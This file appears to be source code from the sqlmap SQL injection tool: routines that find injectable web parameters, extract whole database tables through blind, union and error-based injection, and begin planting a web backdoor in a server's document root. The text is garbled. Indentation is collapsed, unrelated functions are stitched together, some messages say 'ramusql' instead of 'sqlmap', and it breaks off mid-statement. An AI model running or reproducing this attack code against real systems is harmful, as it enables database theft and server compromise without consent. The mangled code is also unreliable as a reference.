def pivotDumpTable(table, colList, count=None, blind=True, alias=None): lengths = {} entries = {} dumpNode = queries[Backend.getIdentifiedDbms()].dump_table.blind validColumnList = False validPivotValue = False if count is None: query = dumpNode.count % table query = agent.whereQuery(query) count = inject.getValue( query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if blind else inject.getValue( query, blind=False, time=False, expected=EXPECTED.INT) if hasattr(count, "isdigit") and count.isdigit(): count = int(count) if count == 0: infoMsg = "table '%s' appears to be empty" % unsafeSQLIdentificatorNaming( table) logger.info(infoMsg) for column in colList: lengths[column] = len(column) entries[column] = [] return entries, lengths elif not isNumPosStrValue(count): return None for column in colList: lengths[column] = 0 entries[column] = BigArray() colList = filterNone( sorted(colList, key=lambda x: len(x) if x else MAX_INT)) if conf.pivotColumn: for _ in colList: if re.search(r"(.+\.)?%s" % re.escape(conf.pivotColumn), _, re.I): infoMsg = "using column '%s' as a pivot " % conf.pivotColumn infoMsg += "for retrieving row data" logger.info(infoMsg) colList.remove(_) colList.insert(0, _) validPivotValue = True break if not validPivotValue: warnMsg = "column '%s' not " % conf.pivotColumn warnMsg += "found in table '%s'" % table logger.warn(warnMsg) if not validPivotValue: for column in colList: infoMsg = "fetching number of distinct " infoMsg += "values for column '%s'" % column.replace( ("%s." % alias) if alias else "", "") logger.info(infoMsg) query = dumpNode.count2 % (column, table) query = agent.whereQuery(query) value = inject.getValue(query, blind=blind, union=not blind, error=not blind, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(value): validColumnList = True if value == count: infoMsg = "using column '%s' as a pivot " % column.replace( ("%s." % alias) if alias else "", "") infoMsg += "for retrieving row data" logger.info(infoMsg) validPivotValue = True colList.remove(column) colList.insert(0, column) break if not validColumnList: errMsg = "all column name(s) provided are non-existent" raise SqlmapNoneDataException(errMsg) if not validPivotValue: warnMsg = "no proper pivot column provided (with unique values)." warnMsg += " It won't be possible to retrieve all rows" logger.warn(warnMsg) pivotValue = " " breakRetrieval = False def _(column, pivotValue): if column == colList[0]: query = dumpNode.query.replace( "'%s'" if unescaper.escape(pivotValue, False) != pivotValue else "%s", "%s") % (agent.preprocessField( table, column), table, agent.preprocessField( table, column), unescaper.escape(pivotValue, False)) else: query = dumpNode.query2.replace( "'%s'" if unescaper.escape(pivotValue, False) != pivotValue else "%s", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, colList[0]), unescaper.escape(pivotValue, False)) query = agent.whereQuery(query) return unArrayizeValue( inject.getValue(query, blind=blind, time=blind, union=not blind, error=not blind)) try: for i in xrange(count): if breakRetrieval: break for column in colList: value = _(column, pivotValue) if column == colList[0]: if isNoneValue(value): try: for pivotValue in filterNone( (" " if pivotValue == " " else None, "%s%s" % (pivotValue[0], _unichr(ord(pivotValue[1]) + 1)) if len(pivotValue) > 1 else None, _unichr(ord(pivotValue[0]) + 1))): value = _(column, pivotValue) if not isNoneValue(value): break except ValueError: pass if isNoneValue(value) or value == NULL: breakRetrieval = True break pivotValue = safechardecode(value) if conf.limitStart or conf.limitStop: if conf.limitStart and (i + 1) < conf.limitStart: warnMsg = "skipping first %d pivot " % conf.limitStart warnMsg += "point values" singleTimeWarnMessage(warnMsg) break elif conf.limitStop and (i + 1) > conf.limitStop: breakRetrieval = True break value = "" if isNoneValue(value) else unArrayizeValue(value) lengths[column] = max( lengths[column], len( DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) entries[column].append(value) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True warnMsg = "user aborted during enumeration. ramusql " warnMsg += "will display partial output" logger.warn(warnMsg) except SqlmapConnectionException as ex: errMsg = "connection exception detected ('%s'). ramusql " % getSafeExString( ex) errMsg += "will display partial output" logger.critical(errMsg) return entries, lengths
def dumpTable(self, foundData=None): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) entries" logger.warn(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2): conf.db = conf.db.upper() if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) if conf.exclude and re.search(conf.exclude, conf.db, re.I) is not None: infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming( conf.db) singleTimeLogMessage(infoMsg) return conf.db = safeSQLIdentificatorNaming(conf.db) if conf.tbl: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2): conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(',') else: self.getTables() if len(kb.data.cachedTables) > 0: tblList = list(six.itervalues(kb.data.cachedTables)) if tblList and isListLike(tblList[0]): tblList = tblList[0] elif not conf.search: errMsg = "unable to retrieve the tables " errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) raise SqlmapNoneDataException(errMsg) else: return for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) for tbl in tblList: if kb.dumpKeyboardInterrupt: break if conf.exclude and re.search(conf.exclude, tbl, re.I) is not None: infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming( tbl) singleTimeLogMessage(infoMsg) continue conf.tbl = tbl kb.data.dumpedTable = {} if foundData is None: kb.data.cachedColumns = {} self.getColumns(onlyColNames=True, dumpMode=True) else: kb.data.cachedColumns = foundData try: if Backend.isDbms(DBMS.INFORMIX): kb.dumpTable = "%s:%s" % (conf.db, tbl) else: kb.dumpTable = "%s.%s" % (conf.db, tbl) if safeSQLIdentificatorNaming( conf.db ) not in kb.data.cachedColumns or safeSQLIdentificatorNaming( tbl, True ) not in kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db )] or not kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming(tbl, True)]: warnMsg = "unable to enumerate the columns for table " warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming( tbl) warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db) warnMsg += ", skipping" if len(tblList) > 1 else "" logger.warn(warnMsg) continue columns = kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming(tbl, True)] colList = sorted(column for column in columns if column) if conf.exclude: colList = [ _ for _ in colList if re.search(conf.exclude, _, re.I) is None ] if not colList: warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming( tbl) warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) warnMsg += " (no usable column names)" logger.warn(warnMsg) continue kb.dumpColumns = colList colNames = colString = ", ".join(column for column in colList) rootQuery = queries[Backend.getIdentifiedDbms()].dump_table infoMsg = "fetching entries" if conf.col: infoMsg += " of column(s) '%s'" % colNames infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming( tbl) infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) for column in colList: _ = agent.preprocessField(tbl, column) if _ != column: colString = re.sub(r"\b%s\b" % re.escape(column), _, colString) entriesCount = 0 if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: entries = [] query = None if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.inband.query % ( colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB): query = rootQuery.inband.query % (colString, tbl) elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): # Partial inband and error if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION]. where == PAYLOAD.WHERE.ORIGINAL): table = "%s.%s" % (conf.db, tbl) if Backend.isDbms( DBMS.MSSQL) and not conf.forcePivoting: warnMsg = "in case of table dumping problems (e.g. column entry order) " warnMsg += "you are advised to rerun with '--force-pivoting'" singleTimeWarnMessage(warnMsg) query = rootQuery.blind.count % table query = agent.whereQuery(query) count = inject.getValue( query, blind=False, time=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(count): try: indexRange = getLimitRange( count, plusOne=True) for index in indexRange: row = [] for column in colList: query = rootQuery.blind.query3 % ( column, column, table, index) query = agent.whereQuery(query) value = inject.getValue( query, blind=False, time=False, dump=True) or "" row.append(value) if not entries and isNoneValue( row): break entries.append(row) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if isNoneValue( entries) and not kb.dumpKeyboardInterrupt: try: retVal = pivotDumpTable(table, colList, blind=False) except KeyboardInterrupt: retVal = None kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if retVal: entries, _ = retVal entries = BigArray( _zip(*[ entries[colName] for colName in colList ])) else: query = rootQuery.inband.query % (colString, conf.db, tbl) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): query = rootQuery.inband.query % ( colString, conf.db, tbl, prioritySortColumns(colList)[0]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) query = agent.whereQuery(query) if not entries and query and not kb.dumpKeyboardInterrupt: try: entries = inject.getValue(query, blind=False, time=False, dump=True) except KeyboardInterrupt: entries = None kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if not isNoneValue(entries): if isinstance(entries, six.string_types): entries = [entries] elif not isListLike(entries): entries = [] entriesCount = len(entries) for index, column in enumerate(colList): if column not in kb.data.dumpedTable: kb.data.dumpedTable[column] = { "length": len(column), "values": BigArray() } for entry in entries: if entry is None or len(entry) == 0: continue if isinstance(entry, six.string_types): colEntry = entry else: colEntry = unArrayizeValue( entry[index] ) if index < len(entry) else u'' maxLen = max( getConsoleLength(column), getConsoleLength( DUMP_REPLACEMENTS.get( getUnicode(colEntry), getUnicode(colEntry)))) if maxLen > kb.data.dumpedTable[column][ "length"]: kb.data.dumpedTable[column][ "length"] = maxLen kb.data.dumpedTable[column]["values"].append( colEntry) if not kb.data.dumpedTable and isInferenceAvailable( ) and not conf.direct: infoMsg = "fetching number of " if conf.col: infoMsg += "column(s) '%s' " % colNames infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming( tbl) infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.count % ( tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): query = rootQuery.blind.count % tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl)) elif Backend.isDbms(DBMS.MAXDB): query = rootQuery.blind.count % tbl elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.count % (conf.db, tbl) else: query = rootQuery.blind.count % (conf.db, tbl) query = agent.whereQuery(query) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) lengths = {} entries = {} if count == 0: warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming( tbl) warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming( conf.db) warnMsg += "appears to be empty" logger.warn(warnMsg) for column in colList: lengths[column] = len(column) entries[column] = [] elif not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of " if conf.col: warnMsg += "column(s) '%s' " % colNames warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming( tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.warn(warnMsg) continue elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX): if Backend.isDbms(DBMS.ACCESS): table = tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): table = "%s.%s" % (conf.db, tbl) elif Backend.isDbms(DBMS.MAXDB): table = "%s.%s" % (conf.db, tbl) elif Backend.isDbms(DBMS.INFORMIX): table = "%s:%s" % (conf.db, tbl) if Backend.isDbms( DBMS.MSSQL) and not conf.forcePivoting: warnMsg = "in case of table dumping problems (e.g. column entry order) " warnMsg += "you are advised to rerun with '--force-pivoting'" singleTimeWarnMessage(warnMsg) try: indexRange = getLimitRange(count, plusOne=True) for index in indexRange: for column in colList: query = rootQuery.blind.query3 % ( column, column, table, index) query = agent.whereQuery(query) value = inject.getValue( query, union=False, error=False, dump=True) or "" if column not in lengths: lengths[column] = 0 if column not in entries: entries[column] = BigArray() lengths[column] = max( lengths[column], len( DUMP_REPLACEMENTS.get( getUnicode(value), getUnicode(value)))) entries[column].append(value) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if not entries and not kb.dumpKeyboardInterrupt: try: retVal = pivotDumpTable(table, colList, count, blind=True) except KeyboardInterrupt: retVal = None kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if retVal: entries, lengths = retVal else: emptyColumns = [] plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) if len(colList) < len( indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD: debugMsg = "checking for empty columns" logger.debug(infoMsg) for column in colList: if not inject.checkBooleanExpression( "(SELECT COUNT(%s) FROM %s)>0" % (column, kb.dumpTable)): emptyColumns.append(column) debugMsg = "column '%s' of table '%s' will not be " % ( column, kb.dumpTable) debugMsg += "dumped as it appears to be empty" logger.debug(debugMsg) try: for index in indexRange: for column in colList: value = "" if column not in lengths: lengths[column] = 0 if column not in entries: entries[column] = BigArray() if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): query = rootQuery.blind.query % ( agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index) elif Backend.getIdentifiedDbms() in ( DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query % ( agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) elif Backend.isDbms(DBMS.SQLITE): query = rootQuery.blind.query % ( agent.preprocessField( tbl, column), tbl, index) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % ( index, agent.preprocessField(tbl, column), tbl) elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query % ( index, agent.preprocessField( tbl, column), conf.db, tbl, sorted(colList, key=len)[0]) elif Backend.isDbms(DBMS.MONETDB): query = rootQuery.blind.query % ( agent.preprocessField(tbl, column), conf.db, tbl, index) query = agent.whereQuery(query) value = NULL if column in emptyColumns else inject.getValue( query, union=False, error=False, dump=True) value = '' if value is None else value lengths[column] = max( lengths[column], len( DUMP_REPLACEMENTS.get( getUnicode(value), getUnicode(value)))) entries[column].append(value) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) for column, columnEntries in entries.items(): length = max(lengths[column], len(column)) kb.data.dumpedTable[column] = { "length": length, "values": columnEntries } entriesCount = len(columnEntries) if len(kb.data.dumpedTable) == 0 or (entriesCount == 0 and kb.permissionFlag): warnMsg = "unable to retrieve the entries " if conf.col: warnMsg += "of columns '%s' " % colNames warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming( tbl) warnMsg += "in database '%s'%s" % ( unsafeSQLIdentificatorNaming(conf.db), " (permission denied)" if kb.permissionFlag else "") logger.warn(warnMsg) else: kb.data.dumpedTable["__infos__"] = { "count": entriesCount, "table": safeSQLIdentificatorNaming(tbl, True), "db": safeSQLIdentificatorNaming(conf.db) } try: attackDumpedTable() except (IOError, OSError) as ex: errMsg = "an error occurred while attacking " errMsg += "table dump ('%s')" % getSafeExString(ex) logger.critical(errMsg) conf.dumper.dbTableValues(kb.data.dumpedTable) except SqlmapConnectionException as ex: errMsg = "connection exception detected in dumping phase " errMsg += "('%s')" % getSafeExString(ex) logger.critical(errMsg) finally: kb.dumpColumns = None kb.dumpTable = None
def start(): """ This function calls a function that performs checks on both URL stability and all GET, POST, Cookie and User-Agent parameters to check if they are dynamic and SQL injection affected """ if conf.direct: initTargetEnv() setupTargetEnv() action() return True if conf.url and not any((conf.forms, conf.crawlDepth)): kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None)) if conf.configFile and not kb.targets: errMsg = "you did not edit the configuration file properly, set " errMsg += "the target URL, list of targets or google dork" logger.error(errMsg) return False if kb.targets and len(kb.targets) > 1: infoMsg = "sqlmap got a total of %d targets" % len(kb.targets) logger.info(infoMsg) hostCount = 0 initialHeaders = list(conf.httpHeaders) for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets: try: conf.url = targetUrl conf.method = targetMethod.upper() if targetMethod else targetMethod conf.data = targetData conf.cookie = targetCookie conf.httpHeaders = list(initialHeaders) conf.httpHeaders.extend(targetHeaders or []) initTargetEnv() parseTargetUrl() testSqlInj = False if PLACE.GET in conf.parameters and not any([conf.data, conf.testParameter]): for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % ( re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]): paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0]) if paramKey not in kb.testedParams: testSqlInj = True break else: paramKey = (conf.hostname, conf.path, None, None) if paramKey not in kb.testedParams: testSqlInj = True if testSqlInj and conf.hostname in kb.vulnHosts: if kb.skipVulnHost is None: message = "SQL injection vulnerability has already been detected " message += "against '%s'. Do you want to skip " % conf.hostname message += "further tests involving it? [Y/n]" kb.skipVulnHost = readInput(message, default="Y").upper() != 'N' testSqlInj = not kb.skipVulnHost if not testSqlInj: infoMsg = "skipping '%s'" % targetUrl logger.info(infoMsg) continue if conf.multipleTargets: hostCount += 1 if conf.forms: message = "[#%d] form:\n%s %s" % (hostCount, conf.method or HTTPMETHOD.GET, targetUrl) else: message = "URL %d:\n%s %s%s" % (hostCount, HTTPMETHOD.GET, targetUrl, " (PageRank: %s)" % get_pagerank( targetUrl) if conf.googleDork and conf.pageRank else "") if conf.cookie: message += "\nCookie: %s" % conf.cookie if conf.data is not None: message += "\n%s data: %s" % ( (conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data) if conf.data else "") if conf.forms: if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1: continue message += "\ndo you want to test this form? [Y/n/q] " test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): if conf.method != HTTPMETHOD.GET: message = "Edit %s data [default: %s]%s: " % ( conf.method, urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult( EMPTY_FORM_FIELDS_REGEX, conf.data) else "") conf.data = readInput(message, default=conf.data) conf.data = _randomFillBlankFields(conf.data) conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data else: if targetUrl.find("?") > -1: firstPart = targetUrl[:targetUrl.find("?")] secondPart = targetUrl[targetUrl.find("?") + 1:] message = "Edit GET data [default: %s]: " % secondPart test = readInput(message, default=secondPart) test = _randomFillBlankFields(test) conf.url = "%s?%s" % (firstPart, test) parseTargetUrl() elif test[0] in ("n", "N"): continue elif test[0] in ("q", "Q"): break else: message += "\ndo you want to test this URL? [Y/n/q]" test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): pass elif test[0] in ("n", "N"): dataToStdout(os.linesep) continue elif test[0] in ("q", "Q"): break infoMsg = "testing URL '%s'" % targetUrl logger.info(infoMsg) setupTargetEnv() if not checkConnection(suppressOutput=conf.forms) or not checkString() or not checkRegexp(): continue checkWaf() if conf.identifyWaf: identifyWaf() if conf.nullConnection: checkNullConnection() if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \ and (kb.injection.place is None or kb.injection.parameter is None): if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech: # NOTE: this is not needed anymore, leaving only to display # a warning message to the user in case the page is not stable checkStability() # Do a little prioritization reorder of a testable parameter list parameters = conf.parameters.keys() # Order of testing list (first to last) orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET) for place in orderList[::-1]: if place in parameters: parameters.remove(place) parameters.insert(0, place) proceed = True for place in parameters: # Test User-Agent and Referer headers only if # --level >= 3 skip = (place == PLACE.USER_AGENT and conf.level < 3) skip |= (place == PLACE.REFERER and conf.level < 3) # Test Host header only if # --level >= 5 skip |= (place == PLACE.HOST and conf.level < 5) # Test Cookie header only if --level >= 2 skip |= (place == PLACE.COOKIE and conf.level < 2) skip |= ( place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.COOKIE and intersect(PLACE.COOKIE, conf.skip, True) not in ([], None)) skip &= not (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.HOST and intersect(HOST_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.COOKIE and intersect((PLACE.COOKIE,), conf.testParameter, True)) if skip: continue if kb.testOnlyCustom and place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): continue if place not in conf.paramDict: continue paramDict = conf.paramDict[place] paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place for parameter, value in paramDict.items(): if not proceed: break kb.vainRun = False testSqlInj = True paramKey = (conf.hostname, conf.path, place, parameter) if paramKey in kb.testedParams: testSqlInj = False infoMsg = "skipping previously processed %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) elif parameter in conf.testParameter: pass elif parameter == conf.rParam: testSqlInj = False infoMsg = "skipping randomizing %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) elif parameter in conf.skip: testSqlInj = False infoMsg = "skipping %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) elif parameter == conf.csrfToken: testSqlInj = False infoMsg = "skipping anti-CSRF token parameter '%s'" % parameter logger.info(infoMsg) # Ignore session-like parameters for --level < 4 elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or parameter.upper().startswith( GOOGLE_ANALYTICS_COOKIE_PREFIX)): testSqlInj = False infoMsg = "ignoring %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech or conf.skipStatic: check = checkDynParam(place, parameter, value) if not check: warnMsg = "%s parameter '%s' does not appear dynamic" % (paramType, parameter) logger.warn(warnMsg) if conf.skipStatic: infoMsg = "skipping static %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) testSqlInj = False else: infoMsg = "%s parameter '%s' is dynamic" % (paramType, parameter) logger.info(infoMsg) kb.testedParams.add(paramKey) if testSqlInj: try: if place == PLACE.COOKIE: pushValue(kb.mergeCookies) kb.mergeCookies = False check = heuristicCheckSqlInjection(place, parameter) if check != HEURISTIC_TEST.POSITIVE: if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED): infoMsg = "skipping %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) continue infoMsg = "testing for SQL injection on %s " % paramType infoMsg += "parameter '%s'" % parameter logger.info(infoMsg) injection = checkSqlInjection(place, parameter, value) proceed = not kb.endDetection if injection is not None and injection.place is not None: kb.injections.append(injection) # In case when user wants to end detection phase (Ctrl+C) if not proceed: break msg = "%s parameter '%s' " % (injection.place, injection.parameter) msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] " test = readInput(msg, default="N") if test[0] not in ("y", "Y"): proceed = False paramKey = (conf.hostname, conf.path, None, None) kb.testedParams.add(paramKey) else: warnMsg = "%s parameter '%s' is not " % (paramType, parameter) warnMsg += "injectable" logger.warn(warnMsg) finally: if place == PLACE.COOKIE: kb.mergeCookies = popValue() if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None): if kb.vainRun and not conf.multipleTargets: errMsg = "no parameter(s) found for testing in the provided data " errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')" raise SqlmapNoneDataException(errMsg) else: errMsg = "all tested parameters appear to be not injectable." if conf.level < 5 or conf.risk < 3: errMsg += " Try to increase '--level'/'--risk' values " errMsg += "to perform more tests." if isinstance(conf.tech, list) and len(conf.tech) < 5: errMsg += " Rerun without providing the option '--technique'." if not conf.textOnly and kb.originalPage: percent = (100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage)) if kb.dynamicMarkings: errMsg += " You can give it a go with the switch '--text-only' " errMsg += "if the target page has a low percentage " errMsg += "of textual content (~%.2f%% of " % percent errMsg += "page content is text)." elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone: errMsg += " Please retry with the switch '--text-only' " errMsg += "(along with --technique=BU) as this case " errMsg += "looks like a perfect candidate " errMsg += "(low textual content along with inability " errMsg += "of comparison engine to detect at least " errMsg += "one dynamic parameter)." if kb.heuristicTest == HEURISTIC_TEST.POSITIVE: errMsg += " As heuristic test turned out positive you are " errMsg += "strongly advised to continue on with the tests. " errMsg += "Please, consider usage of tampering scripts as " errMsg += "your target might filter the queries." if not conf.string and not conf.notString and not conf.regexp: errMsg += " Also, you can try to rerun by providing " errMsg += "either a valid value for option '--string' " errMsg += "(or '--regexp')" elif conf.string: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid value for option '--string' as perhaps the string you " errMsg += "have chosen does not match " errMsg += "exclusively True responses" elif conf.regexp: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid value for option '--regexp' as perhaps the regular " errMsg += "expression that you have chosen " errMsg += "does not match exclusively True responses" if not conf.tamper: errMsg += " If you suspect that there is some kind of protection mechanism " errMsg += "involved (e.g. WAF) maybe you could retry " errMsg += "with an option '--tamper' (e.g. '--tamper=space2comment')" raise SqlmapNotVulnerableException(errMsg) else: # Flush the flag kb.testMode = False _saveToResultsFile() _saveToHashDB() _showInjections() _selectInjection() if kb.injection.place is not None and kb.injection.parameter is not None: if conf.multipleTargets: message = "do you want to exploit this SQL injection? [Y/n] " exploit = readInput(message, default="Y") condition = not exploit or exploit[0] in ("y", "Y") else: condition = True if condition: action() except KeyboardInterrupt: if conf.multipleTargets: warnMsg = "user aborted in multiple target mode" logger.warn(warnMsg) message = "do you want to skip to the next target in list? [Y/n/q]" test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): pass elif test[0] in ("n", "N"): return False elif test[0] in ("q", "Q"): raise SqlmapUserQuitException else: raise except SqlmapUserQuitException: raise except SqlmapSilentQuitException: raise except SqlmapBaseException, ex: errMsg = getUnicode(ex.message) if conf.multipleTargets: errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL") logger.error(errMsg) else: logger.critical(errMsg) return False finally:
def webInit(self): """ This method is used to write a web backdoor (agent) on a writable remote directory within the web server document root. """ if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webPlatform is not None: return self.checkDbmsOs() default = None choices = list(getPublicTypeMembers(WEB_PLATFORM, True)) for ext in choices: if conf.url.endswith(ext): default = ext break if not default: default = WEB_PLATFORM.ASP if Backend.isOs( OS.WINDOWS) else WEB_PLATFORM.PHP message = "which web application language does the web server " message += "support?\n" for count in xrange(len(choices)): ext = choices[count] message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else "")) if default == ext: default = count + 1 message = message[:-1] while True: choice = readInput(message, default=str(default)) if not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > len(choices): logger.warn("invalid value, it must be between 1 and %d" % len(choices)) else: self.webPlatform = choices[int(choice) - 1] break if not kb.absFilePaths: message = "do you want sqlmap to further try to " message += "provoke the full path disclosure? [Y/n] " if readInput(message, default='Y', boolean=True): headers = {} been = set([conf.url]) for match in re.finditer( r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I): url = "%s%s" % (conf.url.replace( conf.path, match.group(4)), "wp-content/wp-db.php") if url not in been: try: page, _, _ = Request.getPage(url=url, raise404=False, silent=True) parseFilePaths(page) except: pass finally: been.add(url) url = re.sub(r"(\.\w+)\Z", r"~\g<1>", conf.url) if url not in been: try: page, _, _ = Request.getPage(url=url, raise404=False, silent=True) parseFilePaths(page) except: pass finally: been.add(url) for place in (PLACE.GET, PLACE.POST): if place in conf.parameters: value = re.sub(r"(\A|&)(\w+)=", r"\g<2>[]=", conf.parameters[place]) if "[]" in value: page, headers, _ = 